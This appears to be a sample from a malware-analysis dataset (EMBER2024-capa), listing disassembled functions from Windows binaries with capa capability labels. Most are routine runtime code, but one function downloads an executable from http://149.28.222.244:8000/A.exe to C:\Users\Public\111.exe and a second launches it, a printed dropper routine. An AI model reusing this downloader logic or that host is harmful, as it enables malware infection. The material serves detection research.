joyce8/EMBER2024-capa huggingface dataset:
Function at 0x2fc5680ac
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x2fc56812a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x2fc568121
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x2fc568121
mov rax, qword [rbp - 8]
jmp 0x2fc56813f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x2fc5680f4
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x2fc4ce660
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call fcn.2fc4cf740
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop

Function at 0x2fc4cf062
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x2fc4f1108]
test eax, eax
je 0x2fc4cf0fa
lea rax, [0x2fc4f10e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x2fc4f1110]
mov qword [rbp - 8], rax
jmp 0x2fc4cf0de
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2fc4cf0d2
cmp qword [rbp - 0x10], 0
je 0x2fc4cf0d2
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2fc4cf098
lea rax, [0x2fc4f10e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x2fc4cf0fb
nop
add rsp, 0x30
pop rbp
ret

Function at 0x2fc4cf200
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x2fc4cf228
mov eax, 0
jmp 0x2fc4cf276
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x2fc4cf251
mov eax, 0
jmp 0x2fc4cf276
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x2fc4cf271
mov eax, 0
jmp 0x2fc4cf276
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x2fc4cf27c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x2fc4cf2fa
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x2fc4cf2f1
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x2fc4cf2f1
mov rax, qword [rbp - 8]
jmp 0x2fc4cf30f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x2fc4cf2c4
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x180001a00
Capabilities:
Link many functions at runtime
Write file on windows

Disassembly:
push rbx
sub rsp, 0x470
mov rax, qword [0x18001e008]
xor rax, rsp
mov qword [rsp + 0x450], rax
lea rcx, str.wininet.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbx, rax
test rax, rax
je 0x180001bc0
mov qword [rsp + 0x480], rbp
lea rdx, str.InternetOpenA
mov qword [rsp + 0x488], rsi
mov rcx, rbx
mov qword [rsp + 0x490], rdi
mov qword [rsp + 0x498], r12
mov qword [rsp + 0x468], r14
mov qword [rsp + 0x460], r15
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.InternetOpenUrlA
mov rcx, rbx
mov rbp, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.InternetReadFile
mov rcx, rbx
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.InternetCloseHandle
mov rcx, rbx
mov r15, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.kernel32.dll
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [0x18001aa78]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r14, rax
test rbp, rbp
je 0x180001b85
test rsi, rsi
je 0x180001b85
test r15, r15
je 0x180001b85
test rdi, rdi
je 0x180001b85
test rax, rax
je 0x180001b85
xor r12d, r12d
lea rcx, str.Download
xor r9d, r9d
mov dword [rsp + 0x20], r12d
xor r8d, r8d
lea edx, [r12 + 1]
call rbp
mov rbp, rax
test rax, rax
je 0x180001b85
mov qword [rsp + 0x28], r12
lea rdx, str.http:__149.28.222.244:8000_A.exe
xor r9d, r9d
mov dword [rsp + 0x20], 0x80000000
xor r8d, r8d
mov rcx, rax
call rsi
mov rsi, rax
test rax, rax
je 0x180001b80
mov qword [rsp + 0x30], r12
lea rcx, str.C:UsersPublic111.exe
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 2
mov edx, 0x40000000
call r14
mov r14, rax
mov rcx, rsi
cmp rax, 0xffffffffffffffff
jne 0x180001bd9
call rdi
mov rcx, rbp
call rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
xor eax, eax
mov r14, qword [rsp + 0x468]
mov r12, qword [rsp + 0x498]
mov rdi, qword [rsp + 0x490]
mov rsi, qword [rsp + 0x488]
mov rbp, qword [rsp + 0x480]
mov r15, qword [rsp + 0x460]
mov rcx, qword [rsp + 0x450]
xor rcx, rsp
call fcn.180002180
add rsp, 0x470
pop rbx
ret
lea r9, [rsp + 0x40]
mov r8d, 0x400
lea rdx, [rsp + 0x50]
call r15
test eax, eax
je 0x180001c2c
mov r8d, dword [rsp + 0x40]
test r8d, r8d
je 0x180001c2c
lea r9, [rsp + 0x44]
mov qword [rsp + 0x20], r12
lea rdx, [rsp + 0x50]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteFile]
lea r9, [rsp + 0x40]
mov r8d, 0x400
lea rdx, [rsp + 0x50]
mov rcx, rsi
call r15
test eax, eax
jne 0x180001bf0
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call rdi
mov rcx, rbp
call rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, 1
jmp 0x180001b90
Function at 0x180001c60
Capabilities:
Create process on windows
Create thread

Disassembly:
mov qword [rsp + 8], rbx
push rbp
lea rbp, [rsp - 0x30]
sub rsp, 0x130
mov rax, qword [0x18001e008]
xor rax, rsp
mov qword [rbp + 0x20], rax
call fcn.180001a00
xor ebx, ebx
mov qword [rbp - 0x78], 0xf
xorps xmm0, xmm0
mov qword [rbp - 0x80], rbx
movups xmmword [rsp + 0x70], xmm0
mov byte [rsp + 0x70], bl
lea ecx, [rbx + 0x20]
mov qword [rsp + 0x58], rbx
call fcn.1800021d4
movups xmm0, xmmword [str.C:UsersPublic111.exe]
mov qword [rsp + 0x50], rax
lea rdx, [rsp + 0x70]
mov rcx, rax
mov qword [rsp + 0x60], 0x17
mov qword [rsp + 0x68], 0x1f
movups xmmword [rax], xmm0
mov eax, dword [0x18001aaa8]
mov dword [rcx + 0x10], eax
xorps xmm0, xmm0
movzx eax, word [0x18001aaac]
mov word [rcx + 0x14], ax
movzx eax, byte [0x18001aaae]
mov byte [rcx + 0x16], al
xor eax, eax
mov dword [rbp + 0x14], eax
mov qword [rbp - 0x60], rax
lea rax, [rbp - 0x70]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x50]
mov qword [rsp + 0x40], rax
mov byte [rcx + 0x17], bl
cmp qword [rbp - 0x78], 0x10
mov qword [rsp + 0x38], rbx
cmovae rdx, qword [rsp + 0x70]
xor r9d, r9d
mov qword [rsp + 0x30], rbx
xor r8d, r8d
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
movups xmmword [rbp - 0x4c], xmm0
mov dword [rbp - 0x50], 0x68
movups xmmword [rbp - 0x3c], xmm0
movups xmmword [rbp - 0x2c], xmm0
movups xmmword [rbp - 0x1c], xmm0
movups xmmword [rbp - 0xc], xmm0
movups xmmword [rbp + 4], xmm0
movups xmmword [rbp - 0x70], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x180001d87
mov rcx, qword [rbp - 0x70]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x180001dc0
mov rcx, qword [rsp + 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180001dbb
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180001e05
call fcn.1800021a0
mov rdx, qword [rbp - 0x78]
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], bl
cmp rdx, 0x10
jb 0x180001e10
mov rcx, qword [rsp + 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180001e0b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180001e0b
call fcn.1800087ec
int3
call fcn.1800021a0
mov ecx, 0xea60
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r9d, r9d
mov qword [rsp + 0x28], rbx
lea r8, [0x180001990]
mov dword [rsp + 0x20], ebx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
mov qword [0x18005f708], rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop dword [rax + rax]
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x180001e50
Function at 0x18000bee4
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x18000bf14
xor eax, eax
jmp 0x18000bfd7
mov rbp, rbx
cmp word [rax], si
je 0x18000bf39
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x18000bf20
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x18000bf1c
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.18000be04
movsxd r14, eax
test eax, eax
jne 0x18000bf77
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x18000bf0d
mov rcx, r14
call fcn.18000a154
mov rdi, rax
test rax, rax
jne 0x18000bf90
xor ecx, ecx
call fcn.18000a26c
jmp 0x18000bf6c
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.18000be04
test eax, eax
jne 0x18000bfc1
mov rcx, rdi
call fcn.18000a26c
jmp 0x18000bfcb
xor ecx, ecx
call fcn.18000a26c
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x180011610
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x180011638
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x180011638
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x2fc4da980
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call fcn.2fc4dba60
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop

Function at 0x2fc4db382
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x2fc4fd108]
test eax, eax
je 0x2fc4db41a
lea rax, [0x2fc4fd0e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x2fc4fd110]
mov qword [rbp - 8], rax
jmp 0x2fc4db3fe
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2fc4db3f2
cmp qword [rbp - 0x10], 0
je 0x2fc4db3f2
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2fc4db3b8
lea rax, [0x2fc4fd0e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x2fc4db41b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x2fc4db520
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x2fc4db548
mov eax, 0
jmp 0x2fc4db596
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x2fc4db571
mov eax, 0
jmp 0x2fc4db596
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x2fc4db591
mov eax, 0
jmp 0x2fc4db596
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x2fc4db59c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x2fc4db61a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x2fc4db611
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x2fc4db611
mov rax, qword [rbp - 8]
jmp 0x2fc4db62f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x2fc4db5e4
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x2fc4d0d60
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call fcn.2fc4d1e40
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop

Function at 0x2fc4d1762
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x2fc4f4108]
test eax, eax
je 0x2fc4d17fa
lea rax, [0x2fc4f40e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x2fc4f4110]
mov qword [rbp - 8], rax
jmp 0x2fc4d17de
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2fc4d17d2
cmp qword [rbp - 0x10], 0
je 0x2fc4d17d2
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2fc4d1798
lea rax, [0x2fc4f40e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x2fc4d17fb
nop
add rsp, 0x30
pop rbp
ret

Function at 0x2fc4d1900
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x2fc4d1928
mov eax, 0
jmp 0x2fc4d1976
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x2fc4d1951
mov eax, 0
jmp 0x2fc4d1976
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x2fc4d1971
mov eax, 0
jmp 0x2fc4d1976
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x2fc4d197c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x2fc4d19fa
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x2fc4d19f1
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x2fc4d19f1
mov rax, qword [rbp - 8]
jmp 0x2fc4d1a0f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x2fc4d19c4
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x14002c3bb
Capabilities:
Enumerate processes

Disassembly:
jmp 0x14002e420
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x598
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0xf6
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x5b8]
mov rax, qword [0x14009b300]
xor rax, rbp
mov qword [rbp + 0x548], rax
mov dword [rbp + 4], 0
xor edx, edx
mov ecx, 2
call fcn.14002c47e
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0xffffffffffffffff
jne 0x14002e483
mov eax, dword [rbp + 4]
jmp 0x14002e513
mov dword [rbp + 0x50], 0x238
lea rdx, [rbp + 0x50]
mov rcx, qword [rbp + 0x28]
call fcn.14002c60e
test eax, eax
je 0x14002e506
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x104
lea rax, [rbp + 0x2b0]
mov qword [rsp + 0x20], rax
mov r9d, 0xffffffff
lea r8, [rbp + 0x7c]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov rdx, qword [rbp + 0x570]
lea rcx, [rbp + 0x2b0]
call qword [sym.imp.ucrtbased.dll__stricmp]
test eax, eax
jne 0x14002e4f5
mov eax, dword [rbp + 0x58]
mov dword [rbp + 4], eax
jmp 0x14002e506
lea rdx, [rbp + 0x50]
mov rcx, qword [rbp + 0x28]
call fcn.14002c87f
test eax, eax
jne 0x14002e49b
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rbp + 4]
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x1400871f0]
call fcn.14002c848
mov rax, rdi
mov rcx, qword [rbp + 0x548]
xor rcx, rbp
call fcn.14002c49c
lea rsp, [rbp + 0x558]
pop rdi
pop rbp
ret

Function at 0x14002c3e8
Capabilities:
Check if file exists
Create directory
Get file attributes
Query environment variable

Disassembly:
jmp 0x14002ddc0
push rbp
push rdi
sub rsp, 0x278
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x66
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14009b300]
xor rax, rbp
mov qword [rbp + 0x248], rax
mov r8d, 0x104
lea rdx, [rbp + 0x10]
lea rcx, str.TEMP
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov dword [rbp + 0x134], eax
lea rdx, str.WANNALMAO
lea rcx, [rbp + 0x10]
call fcn.14002c8ca
lea rcx, [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [rbp + 0x154], eax
cmp dword [rbp + 0x154], 0xffffffff
je 0x14002de48
mov eax, dword [rbp + 0x154]
and eax, 0x10
test eax, eax
je 0x14002de48
mov al, 1
jmp 0x14002de7a
xor edx, edx
lea rcx, [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x14002de5c
mov al, 1
jmp 0x14002de7a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0x174], eax
cmp dword [rbp + 0x174], 0xb7
jne 0x14002de78
mov al, 1
jmp 0x14002de7a
xor al, al
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x140087280]
call fcn.14002c848
mov rax, rdi
mov rcx, qword [rbp + 0x248]
xor rcx, rbp
call fcn.14002c49c
lea rsp, [rbp + 0x258]
pop rdi
pop rbp
ret